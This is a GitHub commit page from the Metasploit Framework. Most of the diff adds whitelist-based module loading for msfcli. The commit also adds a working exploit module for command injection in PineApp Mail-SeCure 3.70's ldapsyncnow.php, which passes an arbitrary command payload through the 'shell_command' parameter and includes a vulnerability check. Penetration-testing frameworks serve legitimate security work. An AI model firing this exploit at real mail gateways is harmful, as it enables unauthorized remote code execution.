Skip to content

Commit 05be76e

Browse files
author
jvazquez-r7
committed
2 parents 455569a + 593363c commit 05be76e

File tree

15 files changed

+1140
-270
lines changed

15 files changed

+1140
-270
lines changed

lib/msf/base/simple/framework/module_paths.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,25 +5,25 @@ module ModulePaths
55
# Initialize the module paths
66
#
77
# @return [void]
8-
def init_module_paths
8+
def init_module_paths(opts={})
99
# Ensure the module cache is accurate
1010
self.modules.refresh_cache_from_database
1111

1212
# Initialize the default module search paths
1313
if (Msf::Config.module_directory)
14-
self.modules.add_module_path(Msf::Config.module_directory)
14+
self.modules.add_module_path(Msf::Config.module_directory, opts)
1515
end
1616

1717
# Initialize the user module search path
1818
if (Msf::Config.user_module_directory)
19-
self.modules.add_module_path(Msf::Config.user_module_directory)
19+
self.modules.add_module_path(Msf::Config.user_module_directory, opts)
2020
end
2121

2222
# If additional module paths have been defined globally, then load them.
2323
# They should be separated by semi-colons.
2424
if self.datastore['MsfModulePaths']
2525
self.datastore['MsfModulePaths'].split(";").each { |path|
26-
self.modules.add_module_path(path)
26+
self.modules.add_module_path(path, opts)
2727
}
2828
end
2929
end

lib/msf/core/module_manager/loading.rb

Lines changed: 36 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -53,39 +53,39 @@ def file_changed?(path)
5353

5454
attr_accessor :module_load_error_by_path
5555

56-
# Called when a module is initially loaded such that it can be categorized
57-
# accordingly.
58-
#
59-
# @param class_or_module [Class<Msf::Module>, ::Module] either a module Class
60-
# or a payload Module.
61-
# @param type [String] The module type.
62-
# @param reference_name The module reference name.
63-
# @param info [Hash{String => Array}] additional information about the module
64-
# @option info [Array<String>] 'files' List of paths to the ruby source files
65-
# where +class_or_module+ is defined.
66-
# @option info [Array<String>] 'paths' List of module reference names.
67-
# @option info [String] 'type' The module type, should match positional
68-
# +type+ argument.
69-
# @return [void]
70-
def on_module_load(class_or_module, type, reference_name, info={})
71-
module_set = module_set_by_type[type]
72-
module_set.add_module(class_or_module, reference_name, info)
73-
74-
path = info['files'].first
75-
cache_in_memory(
76-
class_or_module,
77-
:path => path,
78-
:reference_name => reference_name,
79-
:type => type
80-
)
81-
82-
# Automatically subscribe a wrapper around this module to the necessary
83-
# event providers based on whatever events it wishes to receive.
84-
auto_subscribe_module(class_or_module)
85-
86-
# Notify the framework that a module was loaded
87-
framework.events.on_module_load(reference_name, class_or_module)
88-
end
56+
# Called when a module is initially loaded such that it can be categorized
57+
# accordingly.
58+
#
59+
# @param class_or_module [Class<Msf::Module>, ::Module] either a module Class
60+
# or a payload Module.
61+
# @param type [String] The module type.
62+
# @param reference_name The module reference name.
63+
# @param info [Hash{String => Array}] additional information about the module
64+
# @option info [Array<String>] 'files' List of paths to the ruby source files
65+
# where +class_or_module+ is defined.
66+
# @option info [Array<String>] 'paths' List of module reference names.
67+
# @option info [String] 'type' The module type, should match positional
68+
# +type+ argument.
69+
# @return [void]
70+
def on_module_load(class_or_module, type, reference_name, info={})
71+
module_set = module_set_by_type[type]
72+
module_set.add_module(class_or_module, reference_name, info)
73+
74+
path = info['files'].first
75+
cache_in_memory(
76+
class_or_module,
77+
:path => path,
78+
:reference_name => reference_name,
79+
:type => type
80+
)
81+
82+
# Automatically subscribe a wrapper around this module to the necessary
83+
# event providers based on whatever events it wishes to receive.
84+
auto_subscribe_module(class_or_module)
85+
86+
# Notify the framework that a module was loaded
87+
framework.events.on_module_load(reference_name, class_or_module)
88+
end
8989

9090
protected
9191

@@ -106,9 +106,10 @@ def loaders
106106
# @param [Hash] options
107107
# @option options [Boolean] :force Whether the force loading the modules even if they are unchanged and already
108108
# loaded.
109+
# @option options [Array] :modules An array of regex patterns to search for specific modules
109110
# @return [Hash{String => Integer}] Maps module type to number of modules loaded
110111
def load_modules(path, options={})
111-
options.assert_valid_keys(:force)
112+
options.assert_valid_keys(:force, :whitelist)
112113

113114
count_by_type = {}
114115

@@ -122,4 +123,4 @@ def load_modules(path, options={})
122123

123124
count_by_type
124125
end
125-
end
126+
end

lib/msf/core/module_manager/module_paths.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,10 @@ module Msf::ModuleManager::ModulePaths
1212
# Adds a path to be searched for new modules.
1313
#
1414
# @param [String] path
15+
# @param [Hash] opts
16+
# @option opts [Array] whitelist An array of regex patterns to search for specific modules
1517
# @return (see Msf::Modules::Loader::Base#load_modules)
16-
def add_module_path(path)
18+
def add_module_path(path, opts={})
1719
nested_paths = []
1820

1921
# remove trailing file separator
@@ -51,7 +53,7 @@ def add_module_path(path)
5153
# Load all of the modules from the nested paths
5254
count_by_type = {}
5355
nested_paths.each { |path|
54-
path_count_by_type = load_modules(path, :force => false)
56+
path_count_by_type = load_modules(path, opts.merge({:force => false}))
5557

5658
# merge hashes
5759
path_count_by_type.each do |type, path_count|
@@ -74,4 +76,4 @@ def remove_module_path(path)
7476
protected
7577

7678
attr_accessor :module_paths # :nodoc:
77-
end
79+
end

lib/msf/core/modules/loader/archive.rb

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -27,10 +27,12 @@ def loadable?(path)
2727
# Yields the module_reference_name for each module file in the Fastlib archive at path.
2828
#
2929
# @param path [String] The path to the Fastlib archive file.
30+
# @param opts [Hash] Additional options
3031
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
3132
# @yieldparam (see Msf::Modules::Loader::Base#each_module_reference_name)
3233
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
33-
def each_module_reference_name(path)
34+
def each_module_reference_name(path, opts={})
35+
whitelist = opts[:whitelist] || []
3436
entries = ::FastLib.list(path)
3537

3638
entries.each do |entry|
@@ -45,11 +47,22 @@ def each_module_reference_name(path)
4547
next
4648
end
4749

48-
if module_path?(entry)
49-
# The module_reference_name doesn't have a file extension
50-
module_reference_name = module_reference_name_from_path(entry)
50+
if whitelist.empty?
5151

52-
yield path, type, module_reference_name
52+
if module_path?(entry)
53+
# The module_reference_name doesn't have a file extension
54+
module_reference_name = module_reference_name_from_path(entry)
55+
56+
yield path, type, module_reference_name
57+
end
58+
else
59+
whitelist.each do |pattern|
60+
if entry =~ pattern
61+
yield path, type, module_reference_name
62+
else
63+
next
64+
end
65+
end
5366
end
5467
end
5568
end

lib/msf/core/modules/loader/base.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -248,16 +248,25 @@ def load_module(parent_path, type, module_reference_name, options={})
248248
# @param [Hash] options
249249
# @option options [Boolean] force (false) Whether to force loading of
250250
# the module even if the module has not changed.
251+
# @option options [Array] whitelist An array of regex patterns to search for specific modules
251252
# @return [Hash{String => Integer}] Maps module type to number of
252253
# modules loaded
253254
def load_modules(path, options={})
254-
options.assert_valid_keys(:force)
255+
options.assert_valid_keys(:force, :whitelist)
255256

256257
force = options[:force]
257258
count_by_type = {}
258259
recalculate_by_type = {}
259260

260-
each_module_reference_name(path) do |parent_path, type, module_reference_name|
261+
# This is used to avoid loading the same thing twice
262+
loaded_items = []
263+
264+
each_module_reference_name(path, options) do |parent_path, type, module_reference_name|
265+
# In msfcli mode, if a module is already loaded, avoid loading it again
266+
next if loaded_items.include?(module_reference_name) and options[:whitelist]
267+
268+
# Keep track of loaded modules in msfcli mode
269+
loaded_items << module_reference_name if options[:whitelist]
261270
load_module(
262271
parent_path,
263272
type,
@@ -649,4 +658,3 @@ def usable?(metasploit_class)
649658
usable
650659
end
651660
end
652-

lib/msf/core/modules/loader/directory.rb

Lines changed: 31 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -18,12 +18,14 @@ def loadable?(path)
1818
# Yields the module_reference_name for each module file found under the directory path.
1919
#
2020
# @param [String] path The path to the directory.
21+
# @param [Array] modules An array of regex patterns to search for specific modules
2122
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
2223
# @yieldparam [String] path The path to the directory.
2324
# @yieldparam [String] type The type correlated with the directory under path.
2425
# @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name)
2526
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
26-
def each_module_reference_name(path)
27+
def each_module_reference_name(path, opts={})
28+
whitelist = opts[:whitelist] || []
2729
::Dir.foreach(path) do |entry|
2830
if entry.downcase == '.svn'
2931
next
@@ -49,7 +51,24 @@ def each_module_reference_name(path)
4951
# The module_reference_name doesn't have a file extension
5052
module_reference_name = module_reference_name_from_path(relative_entry_descendant_path)
5153

52-
yield path, type, module_reference_name
54+
# If the modules argument is set, this means we only want to load specific ones instead
55+
# of loading everything to memory - see msfcli.
56+
if whitelist.empty?
57+
# Load every module we see, which is the default behavior.
58+
yield path, type, module_reference_name
59+
else
60+
whitelist.each do |pattern|
61+
# We have to use entry_descendant_path to see if this is the module we want, because
62+
# this is easier to identify the module type just by looking at the file path.
63+
# For example, if module_reference_name is used (or a parsed relative path), you can't
64+
# really tell if php/generic is a NOP module, a payload, or an encoder.
65+
if entry_descendant_path =~ pattern
66+
yield path, type, module_reference_name
67+
else
68+
next
69+
end
70+
end
71+
end
5372
end
5473
end
5574
end
@@ -76,18 +95,18 @@ def read_module_content(parent_path, type, module_reference_name)
7695
module_content = ''
7796

7897
begin
79-
# force to read in binary mode so Pro modules won't be truncated on Windows
80-
File.open(full_path, 'rb') do |f|
81-
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
82-
# @see http://www.ruby-forum.com/topic/209005
83-
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
84-
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
85-
module_content = f.read(f.stat.size)
86-
end
98+
# force to read in binary mode so Pro modules won't be truncated on Windows
99+
File.open(full_path, 'rb') do |f|
100+
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
101+
# @see http://www.ruby-forum.com/topic/209005
102+
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
103+
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
104+
module_content = f.read(f.stat.size)
105+
end
87106
rescue Errno::ENOENT => error
88-
load_error(full_path, error)
107+
load_error(full_path, error)
89108
end
90109

91110
module_content
92111
end
93-
end
112+
end
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
18+
'Description' => %q{
19+
This module exploits a command injection vulnerability on PineApp Mail-SeCure
20+
3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
21+
usage of the shell_exec() php function. This module has been tested successfully
22+
on PineApp Mail-SeCure 3.70.
23+
},
24+
'Author' =>
25+
[
26+
'Dave Weinstein', # Vulnerability discovery
27+
'juan vazquez' # Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/']
33+
],
34+
'Platform' => ['unix'],
35+
'Arch' => ARCH_CMD,
36+
'Privileged' => false,
37+
'Payload' =>
38+
{
39+
'Space' => 1024,
40+
'DisableNops' => true,
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'cmd',
44+
'RequiredCmd' => 'generic perl python telnet'
45+
}
46+
},
47+
'Targets' =>
48+
[
49+
[ 'PineApp Mail-SeCure 3.70', { }]
50+
],
51+
'DefaultOptions' =>
52+
{
53+
'SSL' => true
54+
},
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Jul 26 2013'
57+
))
58+
59+
register_options(
60+
[
61+
Opt::RPORT(7443)
62+
],
63+
self.class
64+
)
65+
66+
end
67+
68+
def my_uri
69+
return normalize_uri("/admin/ldapsyncnow.php")
70+
end
71+
72+
def check
73+
# Since atm of writing this exploit there isn't patch available,
74+
# checking for the vulnerable component should be a reliable test.
75+
res = send_request_cgi({
76+
'uri' => my_uri,
77+
'vars_get' => {
78+
'sync_now' =>'1'
79+
}
80+
})
81+
if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
82+
return Exploit::CheckCode::Appears
83+
end
84+
return Exploit::CheckCode::Safe
85+
end
86+
87+
def exploit
88+
print_status("#{rhost}:#{rport} - Executing payload...")
89+
send_request_cgi({
90+
'uri' => my_uri,
91+
'vars_get' => {
92+
'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
93+
'shell_command' => payload.encoded
94+
}
95+
})
96+
end
97+
98+
end

0 commit comments

Comments
 (0)